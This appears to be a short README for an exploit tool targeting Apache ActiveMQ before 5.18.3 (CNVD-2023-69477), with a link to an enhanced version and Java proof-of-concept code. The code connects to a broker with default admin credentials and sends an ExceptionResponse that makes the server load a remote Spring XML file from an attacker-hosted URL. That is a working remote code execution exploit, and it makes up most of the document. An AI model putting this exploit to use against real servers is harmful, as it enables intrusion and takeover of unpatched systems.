0vercl0k
Apache ActiveMQ < 5.18.3 CNVD-2023-69477
加强版:https://github.com/JaneMandy/ActiveMQ_RCE_Pro_Max
- 添加代理
- 去掉Help按钮
Vuln Ana Code:
package org.example;
import org.apache.activemq.ActiveMQConnectionFactory;
import org.apache.activemq.ActiveMQSession;
import org.apache.activemq.command.ExceptionResponse;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import javax.jms.*;
public class Main {
public static void main(String[] args) throws Exception {
ConnectionFactory connectionFactory = new
ActiveMQConnectionFactory("tcp://localhost:61616"); //目标地址
Connection connection = connectionFactory.createConnection("admin", "admin");
connection.start();
ActiveMQSession session = (ActiveMQSession) connection.createSession();
ExceptionResponse exceptionResponse = new ExceptionResponse();
exceptionResponse.setException(new ClassPathXmlApplicationContext("http://127.0.0.1:8000/pom.xml"));
session.syncSendPacket(exceptionResponse);
connection.close();
}
}